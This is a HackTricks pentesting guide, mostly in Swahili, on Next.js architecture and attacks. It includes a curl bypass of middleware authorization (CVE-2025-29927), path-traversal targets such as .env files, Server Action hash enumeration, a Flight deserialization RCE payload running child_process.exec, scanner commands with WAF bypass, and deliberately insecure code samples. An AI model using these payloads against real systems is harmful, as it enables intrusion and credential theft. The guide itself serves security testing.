NextJS

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Usanifu wa Jumla wa Programu ya Next.js

Muundo wa Kawaida wa Faili

Mradi wa kawaida wa Next.js unafuata muundo maalum wa faili na saraka unaorahisisha vipengele vyake kama routing, API endpoints, na usimamizi wa mali statiki. Hapa kuna mpangilio wa kawaida:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Saraka za Msingi na Faili

• public/: Inahifadhi assets zisizobadilika kama picha, fonti, na faili nyingine. Faili hapa zinapatikana kwenye path ya root (/).
• app/: Saraka kuu ya pages, layouts, components, na API routes za application yako. Inakumbatia paradigms ya App Router, ikiruhusu features za routing za juu na utengano wa components za server na client.
• app/layout.tsx: Inaelezea root layout ya application yako, ikizunguka kurasa zote na kutoa vipengele vya UI kama header, footer, na navigation bar.
• app/page.tsx: Hutumika kama kiingilio kwa root route /, ikionyesha home page.
• app/[route]/page.tsx: Inashughulikia static na dynamic routes. Kila folda ndani ya app/ inawakilisha segmento ya route, na page.tsx ndani ya hizo folda inalingana na component ya route.
• app/api/: Ina API routes, ikikuruhusu kuunda serverless functions zinazosimamia HTTP requests. Routes hizi zinachukua nafasi ya saraka ya zamani pages/api.
• app/components/: Ina React components zinazoweza kutumika tena katika kurasa na layouts tofauti.
• app/styles/: Inajumuisha faili za CSS za global na CSS Modules kwa styling inayolenga components.
• app/utils/: Inajumuisha utility functions, helper modules, na logic nyingine zisizo za UI ambazo zinaweza kushirikiwa ndani ya application.
• .env.local: Inahifadhi environment variables maalum kwa mazingira ya maendeleo ya eneo. Variables hizi hazijakomitishwa kwenye version control.
• next.config.js: Inabinafsisha tabia ya Next.js, ikijumuisha webpack configurations, environment variables, na settings za usalama.
• tsconfig.json: Inaweka settings za TypeScript kwa project, ikiruhusu type checking na features nyingine za TypeScript.
• package.json: Inasimamia dependencies za project, scripts, na metadata.
• README.md: Inatoa documentation na taarifa kuhusu project, ikiwa ni pamoja na maelekezo ya setup, mwongozo wa matumizi, na maelezo mengine muhimu.
• yarn.lock / package-lock.json: Inafunga dependencies za project kwenye versions maalum, kuhakikisha ufungaji thabiti katika mazingira tofauti.

Client-Side katika Next.js

Routing Inayotegemea Faili katika saraka ya app

Saraka ya app ni msingi wa routing katika toleo za hivi karibuni za Next.js. Inategemea mfumo wa faili kutaja routes, ikifanya usimamizi wa routes kuwa rahisi kuelewa na kuweza kupanuka.

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Udhaifu za upande wa mteja

Ingawa Next.js inatoa msingi salama, mbinu zisizo sahihi za kuandika code zinaweza kuleta udhaifu. Udhaifu muhimu upande wa mteja ni pamoja na:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Uchunguzi: ugunduzi wa routes za static export kupitia _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

• Pata buildId kutoka kwa root response (mara nyingi imechapishwa chini) au kutoka kwa <script> tags zinazopakia /_next/static/<buildId>/....
• Fetch the manifest and extract routes:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• Tumia njia zilizogunduliwa (kwa mfano /docs, /docs/content/examples, /signin) kuendesha auth testing na endpoint discovery.

Upande wa Seva katika Next.js

Uwasilishaji Upande wa Seva (SSR)

Kurasa huwasilishwa upande wa seva kwa kila ombi, kuhakikisha kwamba mtumiaji anapata HTML iliyotengenezwa kikamilifu. Katika kesi hii unapaswa kuunda seva yako maalum ili kushughulikia maombi.

Matumizi:

• Maudhui yanayobadilika mara kwa mara.
• Uboreshaji wa SEO, kwani injini za utafutaji zinaweza kuvinjari ukurasa uliotengenezwa kikamilifu.

Utekelezaji:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Uundaji wa Tovuti Thabiti (SSG)

Kurasa zinatayarishwa mapema wakati wa kujenga, na hivyo kusababisha nyakati za kupakia kuwa haraka zaidi na kupunguza mzigo wa seva.

Matumizi:

• Maudhui ambayo hayabadiliki mara kwa mara.
• Blogi, nyaraka, kurasa za masoko.

Utekelezaji:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Fungsi za serverless (API Routes)

Next.js inaruhusu kuunda API endpoints kama fungsi za serverless. Fungsi hizi zinafanya kazi kwa ombi bila hitaji la server maalum.

Matumizi:

• Kushughulikia uwasilishaji wa fomu.
• Kushirikiana na hifadhidata.
• Kuchakata data au kuunganisha na APIs za wahusika wa tatu.

Utekelezaji:

Kwa kuanzishwa kwa saraka ya app katika Next.js 13, routing na kushughulikia API vimekuwa vya kubadilika zaidi na zenye nguvu. Njia hii ya kisasa inalingana kwa karibu na mfumo wa routing unaotegemea faili lakini huleta uwezo ulioboreshwa, ikiwa ni pamoja na msaada kwa server and client components.

Mtunzaji wa Route Msingi

Muundo wa Faili:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Utekelezaji:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Maelezo:

• Mahali: Routes za API ziko chini ya saraka ya app/api/.
• Majina ya Faili: Kila endpoint ya API iko katika folda yake mwenyewe yenye faili ya route.js au route.ts.
• Funsi Zilizotolewa: Badala ya default export moja, funsi maalum za HTTP method (mf., GET, POST) zinatolewa.
• Ushughulikiaji wa Majibu: Tumia constructor ya Response kurudisha majibu, ikiruhusu udhibiti zaidi wa headers na status codes.

Jinsi ya kushughulikia njia na methods nyingine:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Usanidi wa CORS

Dhibiti origins zinazoweza kufikia API routes zako, kupunguza udhaifu wa Cross-Origin Resource Sharing (CORS) vulnerabilities.

Mfano wa Usanidi Mbaya:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Kumbuka kwamba CORS pia inaweza kusanidiwa katika njia zote za API ndani ya faili ya middleware.ts:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Tatizo:

• Access-Control-Allow-Origin: '*': Inaruhusu tovuti yoyote kufikia API, na hivyo kuweza kuruhusu tovuti zenye nia mbaya kuingiliana na API yako bila vikwazo.
• Kuruhusu njia za HTTP zote: Kuruhusu njia zote kunaweza kuwaruhusu washambuliaji kufanya vitendo visivyotakikana.

Jinsi washambuliaji wanavyovitumia:

Washambuliaji wanaweza kuunda tovuti zenye nia mbaya zinazofanya maombi kwa API yako, na kwa hivyo kuweza kutumilia vibaya huduma kama vile kuchukua data, kubadilisha data, au kusababisha vitendo visivyotakikana kwa niaba ya watumiaji walioidhinishwa.

CORS - Misconfigurations & Bypass

Ufunuliwa wa code ya seva upande wa mteja

Ni rahisi kutumia code inayotumika kwenye server pia katika code inayofichuliwa na kutumika upande wa mteja, njia bora ya kuhakikisha kwamba faili ya code haifichuliwi upande wa mteja ni kwa kutumia import hii mwanzoni mwa faili:

import "server-only"

Faili Muhimu na Majukumu Yao

middleware.ts / middleware.js

Location: Mzizi wa mradi au ndani ya src/.

Purpose: Inatekeleza msimbo katika server-side serverless function kabla ya ombi kushughulikiwa, ikiruhusu kazi kama uthibitishaji, kupeleka tena (redirects), au kurekebisha majibu.

Execution Flow:

1. Incoming Request: Middleware inakata ombi.
2. Processing: Hufanya operesheni kulingana na ombi (mf., ukaguzi wa uthibitishaji).
3. Response Modification: Inaweza kubadilisha majibu au kupitisha udhibiti kwa mshughulikiaji inayofuata.

Example Use Cases:

• Kupeleka tena watumiaji wasiothibitishwa.
• Kuongeza headers maalum.
• Kurekodi maombi.

Sample Configuration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

Ikiwa authorization imefanywa katika middleware, matoleo ya Next.js yaliyoathiriwa (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) yanaweza kupitishwa kwa kuingiza header x-middleware-subrequest. Mfumo utaepuka middleware recursion na kurudisha ukurasa uliolindwa.

• Tabia ya msingi kawaida ni redirect ya 307 kwenda kwenye route ya login kama /api/auth/signin.
• Tuma thamani ndefu ya x-middleware-subrequest (rudia middleware hadi ufikie MAX_RECURSION_DEPTH) ili kubadilisha response kuwa 200:

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• Kwa sababu kurasa zilizothibitishwa zinapakia subresources nyingi, ongeza header kwa kila ombi (mfano: Burp Match/Replace kwa match string tupu) ili kuzuia assets kupelekwa kwa redirect.

next.config.js

Location: Mzizi wa mradi.

Purpose: Confugures Next.js behavior, enabling or disabling features, customizing webpack configurations, setting environment variables, and configuring several security features.

Key Security Configurations:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js na pages/_document.js

pages/_app.js

Madhumuni: Inabadilisha component ya App ya default, ikiruhusu global state, styles, na components za layout.

Matumizi:

• Kuingiza CSS ya global.
• Kuongeza wrappers za layout.
• Kuunganisha maktaba za state management.

Mfano:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Madhumuni: Inaandika upya Document ya chaguo-msingi, ikiruhusu kubadilisha tag za <html> na <body>.

Matumizi:

• Kubadilisha tag za <html> au <body>.
• Kuongeza meta tags au scripti maalum.
• Kuintegrisha fonti za wahusika wa tatu.

Mfano:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Seva ya Desturi (Hiari)

Madhumuni: Ingawa Next.js inakuja na seva iliyojengwa, unaweza kuunda seva ya desturi kwa matumizi ya hali ya juu kama routing ya desturi au kuunganisha na huduma za backend zilizopo.

Kumbuka: Kutumia seva ya desturi kunaweza kupunguza chaguzi za deployment, hasa kwenye majukwaa kama Vercel ambayo yameboreshwa kwa seva iliyojengwa ya Next.js.

Mfano:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Mambo ya Ziada ya Miundo na Usalama

Variables za Mazingira na Usanidi

Madhumuni: Kusimamia taarifa nyeti na mipangilio ya usanidi nje ya msimbo.

Mbinu Bora:

• Tumia faili za .env: Hifadhi variables kama API keys katika .env.local (hazijumuishiwi kwenye udhibiti wa toleo).
• Fikia variables kwa usalama: Tumia process.env.VARIABLE_NAME kufikia variables za mazingira.
• Usifichue siri kwenye Client: Hakikisha variables nyeti zinatumika upande wa server pekee.

Mfano:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Kumbuka: Ili kufanya variables ziwe upande wa server pekee, usizijumuishe katika env object au ziweke na awali NEXT_PUBLIC_ ili zichukuliwe na client.

Artifakti muhimu za server za kulenga kupitia LFI/download endpoints

Ukikuta path traversal au download API katika app ya Next.js, lenga artifakti zilizokusanywa ambazo leak server-side secrets na mantiki ya uthibitishaji:

• .env / .env.local kwa siri za session na sifa za mtoa huduma.
• .next/routes-manifest.json na .next/build-manifest.json kwa orodha kamili ya routes.
• .next/server/pages/api/auth/[...nextauth].js ili kupata configuration ya NextAuth iliyojengwa (mara nyingi ina nywila za dharura wakati process.env values hazijatolewa).
• next.config.js / next.config.mjs kwa kukagua rewrites, redirects na middleware routing.

Uthibitishaji na Uidhinishaji

Mbinu:

• Uthibitishaji wa Kikao (Session-Based Authentication): Tumia cookies kusimamia vikao vya watumiaji.
• Uthibitishaji kwa Token (Token-Based Authentication): Tekeleza JWTs kwa uthibitishaji isiyo na state.
• Watoa Huduma wa Nje (Third-Party Providers): Unganisha na OAuth providers (mf., Google, GitHub) ukitumia maktaba kama next-auth.

Mambo ya Usalama:

• Cookies Salama: Weka vigezo HttpOnly, Secure, na SameSite.
• Hash ya Nywila: Daima fanya hash ya nywila kabla ya kuzihifadhi.
• Uthibitishaji wa Ingizo: Zuia mashambulizi ya injection kwa kuthibitisha na kusafisha ingizo.

Mfano:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Uboreshaji wa Utendaji

Mikakati:

• Image Optimization: Tumia Next.js’s next/image component kwa uboreshaji wa picha kiotomatiki.
• Code Splitting: Tumia dynamic imports kugawa code na kupunguza muda wa upakiaji wa mwanzo.
• Caching: Tekeleza mikakati ya caching kwa majibu ya API na mali za statiki.
• Lazy Loading: Pakia komponenti au mali tu wakati zinapohitajika.

Mfano:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Uorodheshaji wa Next.js Server Actions (hash kwa jina la function kupitia source maps)

Next.js ya kisasa inatumia “Server Actions” ambazo zinafanyika kwenye server lakini zinaitishwa kutoka client. Katika production, miito hii ni isiyo wazi: POST zote zinaelekezwa kwenye endpoint moja ya kawaida na zinatofautishwa na hash maalum ya build inayotumwa kwenye header Next-Action. Mfano:

POST /
Next-Action: a9f8e2b4c7d1...

Wakati productionBrowserSourceMaps imewezeshwa, minified JS chunks zina miito kwa createServerReference(...) ambayo leak muundo wa kutosha (pamoja na source maps zinazohusiana) ili kurejesha mapping kati ya action hash na jina la function asili. Hii inakuwezesha kutafsiri hashes zinazobonyezwa katika Next-Action kuwa malengo halisi kama deleteUserAccount() au exportFinancialData().

Mbinu ya uchimbaji (regex kwenye minified JS + optional source maps)

Tafuta JS chunks zilizopakuliwa kwa createServerReference na toa hash pamoja na function/source symbol. Mifumo miwili muhimu:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Kikundi 1: server action hash (40+ hex chars)
• Kikundi 2: alama au path ambayo inaweza kutatuliwa kuwa jina la asili la function kupitia source map inapokuwepo

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

Mtiririko wa kazi wa vitendo

• Ugunduzi wa passivu wakati wa kuvinjari: kusanya requests zenye Next-Action headers na JS chunk URLs.
• Chukua JS bundles zilizotajwa na faili za *.map zinazofuatana (zinapokuwepo).
• Endesha regex iliyotajwa juu ili kujenga dikshionari ya hash↔name.
• Tumia dikshionari kulenga testing:
• Name-driven triage (e.g., transferFunds, exportFinancialData).
• Track coverage across builds by function name (hashes rotate across builds).

Kufanyiwa vitendo vilivyofichwa (ombi la template)

Chukua POST halali uliyoonekana in-proxy kama template na badilisha thamani ya Next-Action ili kulenga action nyingine uliyogundua:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Replay in Repeater and test authorization, input validation and business logic of otherwise unreachable actions.

Burp automation

• NextjsServerActionAnalyzer (Burp extension) inatoa otomatiki yaliyo hapo juu ndani ya Burp:
• Inachambua historia ya proxy kwa JS chunks, hutoa entries za createServerReference(...), na inachakata source maps inapopatikana.
• Inadumisha kamusi inayoweza kutafutwa ya hash↔function-name na huondoa nakala zinazojirudia kati ya builds kwa jina la function.
• Inaweza kupata POST ya template halali na kufungua tab ya Repeater tayari-ku-tuma na hash ya action lengwa imebadilishwa.
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Notes and limitations

• Inahitaji productionBrowserSourceMaps iwe imewezeshwa katika production ili kurejesha majina kutoka kwa bundles/source maps.
• Kufichuliwa kwa function-name si udhaifu peke yake; itumie kuongoza ugundaji na kujaribu authorization ya kila action.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) zina prototype pollution kali upande wa server wakati wa deserialization ya Flight chunks. Kwa kutengeneza marejeo ya $ ndani ya payload ya Flight, mshambuliaji anaweza kupita kutoka kwa prototypes zilizochafuliwa hadi utekelezaji wa JavaScript kwa hiari kisha hadi utekelezaji wa amri za OS ndani ya mchakato wa Node.js.

NodeJS - proto & prototype Pollution

Attack chain in Flight chunks

1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructor → Object, and Object.constructor → Function, so future calls to _formData.get() actually execute Function(...).
3. Code execution via _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

Muundo wa payload

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Ramani ya React Server Function exposure

React Server Functions (RSF) ni functions zozote zinazojumuisha direktivu ‘use server’;. Kila form action, mutation, au fetch helper iliyounganishwa na moja ya functions hizo hubadilika kuwa RSC Flight endpoint inayoweza kwa urahisi deserialize attacker-supplied payloads. Hatua za recon zinazofaa zilizotokana na React2Shell assessments:

• Static inventory: tafuta direktivu ili kuelewa ni RSFs ngapi zinavyoonyeshwa kiotomatiki na framework.

rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• App Router defaults: create-next-app inawawezesha App Router + app/ directory kwa default, ambayo kimya kimya hubadilisha kila route kuwa endpoint inayoweza RSC. App Router assets kama /_next/static/chunks/app/ au responses zinazotiririsha Flight chunks kupitia text/x-component ni strong Internet-facing fingerprints.
• Implicitly vulnerable RSC deployments: Taarifa ya React inabainisha kuwa apps zinazofikisha RSC runtime zinaweza kutumika exploitable even without explicit RSFs, hivyo chukulia build yoyote inayotumia react-server-dom-* 19.0.0–19.2.0 kama suspect.
• Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. zinatumia serializer ile ile na kurithi identical remote attack surface hadi zitakapo embed patched React builds.

Version coverage (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: vulnerable in 19.0.0, 19.1.0–19.1.1 and 19.2.0; patched in 19.0.1, 19.1.2 and 19.2.1 respectively.
• Next.js stable: App Router releases 15.0.0–16.0.6 zinajumuisha the vulnerable RSC stack. Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 zimeshajumuisha fixed deps, hivyo build yoyote chini ya versions hizo ni high-value.
• Next.js canary: 14.3.0-canary.77+ pia inasafirisha buggy runtime na kwa sasa haina patched canary drops, ikifanya hizo fingerprints kuwa strong exploitation candidates.

Remote detection oracle

Assetnote’s react2shell-scanner inatuma crafted multipart Flight request kwa candidate paths na inaangalia server-side behavior:

• Default mode inatekeleza deterministic RCE payload (math operation reflected via X-Action-Redirect) ikithibitisha code execution.
• --safe-check mode inadhalilisha/inaleta malformed Flight message kwa makusudi ili servers zilizo patched zirudishe 200/400, wakati vulnerable targets zimetoa HTTP/500 responses zenye substring E{"digest" ndani ya body. Pair hiyo (500 + digest) kwa sasa ndiyo remote oracle yenye uaminifu zaidi iliyochapishwa na defenders.
• Built-in --waf-bypass, --vercel-waf-bypass, and --windows switches zinafanya adjust kwa payload layout, zinaweka junk mbele, au kubadilisha OS commands ili uweze probe real Internet assets.

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Masuala mengine ya karibuni ya App Router (mwisho wa 2025)

